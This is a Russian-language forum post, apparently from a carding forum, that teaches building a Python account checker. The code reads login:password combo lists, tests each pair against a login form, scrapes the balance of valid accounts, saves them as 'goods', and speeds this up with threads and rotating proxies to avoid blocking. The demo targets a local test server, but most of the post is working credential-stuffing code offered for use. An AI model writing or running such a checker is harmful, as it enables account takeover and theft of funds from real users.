Пишем свой чекер аккаунтов на Python

Carding

Professional
Messages
2,831
Reputation
17
Reaction score
2,017
Points
113
Что нам необходимо

- Python 3 (Желательно последней версии) - скачать​ https://www.python.org/ftp/python/3.8.5/python-3.8.5-amd64.exe

- Редактор кода, например PyCharm https://www.jetbrains.com/pycharm/download/, VS Code https://code.visualstudio.com/, Notepad++​ https://notepad-plus-plus.org/downloads/

- Свой сайт, т.к. мы будем писать чекер на свой сайт - скачать исходники https://lapkidev.com/lolz/server.zip, exe https://lapkidev.com/lolz/server.exe, VT​ https://www.virustotal.com/gui/file/ade8023f0d6ef0283f4acea6df325f55cb38d0b37f4f03250dd00d5e470744b3

- Библиотека requests - pip install requests​

- Минимальные знания Python и прямые руки

Приступим

Для начала запускаем сервер, он нам даст адрес нашего сайта:

8d750e2d5ef625c8b836b.png


Переходим на сайт и видим форму входа:

ce2171c38ac3342a6160a.png


У нас есть 2 пользователя:​ admin:lzt​ и user:user​.

Теперь мы можем начинать писать наш чекер, создаем новый файл с окончанием .py и добавляем нужный нам импорт:
Code:
import requests

База аккаунтов у нас будет в файле logins.txt, создаём её (не обязательно переписывать всё, просто добавьте аккаунты по вкусу):

3f125237bcffe9dca2513.png


Далее нам надо эту базу прочитать, для этого откроем файл через open:
Code:
file = open('logins.txt').read()

Но это только прочитает файл, а нам надо ещё разделить аккаунты по строкам, для этого используем .split('\n'), который разделит файл:
Code:
['admin:admin', 'admin:1234', 'admin:password', 'admin:user', 'admin:lzt', 'user:user', 'user:1234', 'user:password', 'user:admin']

Теперь переходим в браузер, я буду показывать на примере Google Chrome. Открываем наш сайт и нажимаем Ctrl + Shift + I, и переходим в вкладку Network, и нажимаем на флажок Preserve log.

851f68b61fb7c3e24fefa.png


Далее вводим верный логин и пароль и нажимаем Войти, у нас во вкладке Network появится новый запрос.

fd47e04f7d2a78dbc1e1a.png


Нажимаем на него и видим такую картину:

2c0906e62eda0ce306a3c.png


Смотрим в Request Headers, нас интересует Content-Type. У нас это application/x-www-form-urlencoded. Он может быть и application/json. Мы будем делать всё на примере application/x-www-form-urlencoded. Теперь смотрим в Form Data и видим поля login и password. Теперь мы можем приступить к написанию кода. Т.к. у нас POST запрос, мы будем использовать requests.post и ссылку из Request URL:
Code:
requests.post("http://127.0.0.1:5000/login")

Далее нам надо передать наш логин и пароль, для этого добавляем после URL, data={}:
Code:
requests.post("http://127.0.0.1:5000/login", data={})

Теперь в {} пишем поля из Form Data:
Code:
{'login': 'admin', 'password': 'lzt'}

Для получения ответа сервера необходимо добавить .text в конец строки. В итоге:
Code:
requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).text

Кидаем это всё в print и смотрим результат. Если вы всё сделали правильно, то будет такое:

7258b7eb201aae7d703f4.png


Теперь мы можем добавить проверку на успешный вход и получение баланса:​
Code:
login = requests.post("http://127.0.0.1:5000/login", data={'login': 'admin', 'password': 'lzt'}).text
# Проверяем верный ли пароль
if not "Не верный пароль" in login:
    # Пароль верный, получаем баланс
    balance = login.split("У Вас ")[1].split(" ")[0]
    print(balance)
else:
    # Пароль не верный
    print("Не валидный аккаунт")

Итак, время проверять наши аккаунты! Для этого добавляем цикл перебора всех аккаунтов и с помощью .split(":") делим базу на логин и пароль. Добавляем наши переменные в запрос и добавляем выводы:​
Code:
for account in file:
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")

Запускаем и видим что наши аккаунты прочекались:

b53c083c2dfe91af7b325.png


Итоговый код
Code:
import requests

# Читаем
file = open('logins.txt').read().split('\n')
# Чекаем все аккаунты
for account in file:
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")

Потоки

Чекер слишком долго проверяет аккаунты? Это время добавить потоки, которые будут проверять аккаунты не зависимо друг от друга. Для этого мы будем использовать библиотеку threading - она уже есть в Python. Добавляем её:
Code:
import threading

Теперь нам надо написать функцию проверки аккаунта, просто вносим весь код в неё:​
Code:
def check(account):
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")

Теперь нам нужна функция для самого потока, которая будет брать аккаунт и проверять его:​
Code:
def thread():
    # Пока есть аккаунты
    while file:
        # Берём первый аккаунт из списка
        to_check = file[0]
        # Удаляем его из списка
        file.remove(to_check)
        try:
            # Вызываем функцию проверки аккаунта
            check(to_check)
        except Exception as e:
            # Если что-то пойдет не так, выведет ошибку
            print("Ошибка:", e)

Добавляем переменную thread_count, в которой мы будем указывать количество потоков:
Code:
thread_count = 10

Итак, базу мы написали. Теперь можно писать запуск потоков:​
Code:
# Запускаем thread_count потоков
for _ in range(thread_count):
    # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ.
    t = threading.Thread(target=thread)
    # Запускаем поток
    t.start()

Запускаем и смотрим, как быстро отработал наш чекер.

Итоговый код
Code:
import threading
import requests

# Читаем
file = open('logins.txt').read().split('\n')
thread_count = 10


def thread():
    # Пока есть аккаунты
    while file:
        # Берём первый аккаунт из списка
        to_check = file[0]
        # Удаляем его из списка
        file.remove(to_check)
        try:
            # Вызываем функцию проверки аккаунта
            check(to_check)
        except Exception as e:
            # Если что-то пойдет не так, выведет ошибку
            print("Ошибка:", e)


# Перебираем все аккаунты
def check(account):
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")


# Запускаем thread_count потоков
for _ in range(thread_count):
    # Создаем наш поток. В target передаем нашу функцию. ВНИМАНИЕ: Функцию надо указывать без (), иначе мы передадим не саму функцию, а её ответ.
    t = threading.Thread(target=thread)
    # Запускаем поток
    t.start()

Запись в файл

Вывод в консоль не самый удобный метод. Надо писать валидные аккаунты в файл. Для этого мы будем использовать open(), но с некоторыми различиями. Чтобы открыть файл на запись нам нужен режим a+, где a - append (добавлять к файлу) и + - создание файла если его нет.

Пример:
Code:
open('файл', 'a+').write("текст")

В нашем случае мы будем писать гуды в файл good.txt. Для этого, чтобы не открывать его кучу раз используем (не забывая в конце закрыть файл через .close()):
Code:
goods = open('good.txt', 'a+')

Рядом с print пишем саму запись в файл:
Code:
goods.write(f"{account}:{balance}\n")

\n в конце - это перенос строки в файле. Добавляем это рядом с print (или вместо его). Запускаем код и смотрим в файл good.txt:

28a6ba110fa6aebf3b33a.png


Наши валидные аккаунты записались в файл.

Итоговый код
Code:
import requests

# Читаем
file = open('logins.txt').read().split('\n')
goods = open('good.txt', 'a+')
# Чекаем все аккаунты
for account in file:
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        goods.write(f"{account}:{balance}\n")
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")
#Заканчиваем запись файла
goods.close()

Прокси

Последняя тема, которую мы разберём в данном уроке - прокси. Чекер без прокси долго работать не будет. Читать прокси мы будем аналогично аккаунтам:
Code:
proxies = open('proxy.txt').read().split('\n')

Прокси должны начинаться с протокола, например https:// или socks5://. Можно добавить протокол в сам код или прямо в файл с листом прокси. Выбираем рандомный прокси:
Code:
proxy = random.choice(proxies)

Чтобы использовать прокси в запросах, надо их передать. Добавляем после data={} запятую и пишем
Code:
proxies=dict(http=proxy, https=proxy)

random.choice выберет рандомный прокси из нашего списка. Его так-же надо импортировать:
Code:
import random

Чтобы работать с socks надо установить pysocks:
Code:
pip install pysocks

Внимание: если вы работаете с локальным сервером, прокси не будут работать. Выглядеть код должен примерно так:
Code:
requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).text

Итоговый код
Code:
import random
import requests

# Читаем
file = open('logins.txt').read().split('\n')
proxies = open('proxy.txt').read().split('\n')

# Чекаем все аккаунты
for account in file:
    proxy = random.choice(proxies)
    username = account.split(":")[0]
    password = account.split(":")[1]
    login = requests.post("http://127.0.0.1:5000/login", data={'login': username, 'password': password}, proxies=dict(http=proxy, https=proxy)).text
    # Проверяем верный ли пароль
    if not "Не верный пароль" in login:
        # Пароль верный, получаем баланс
        balance = login.split("У Вас ")[1].split(" ")[0]
        print(f"Валидный аккаунт {account} с балансом {balance} рублей")
    else:
        # Пароль не верный
        print(f"Не валидный аккаунт {account}")
 
Top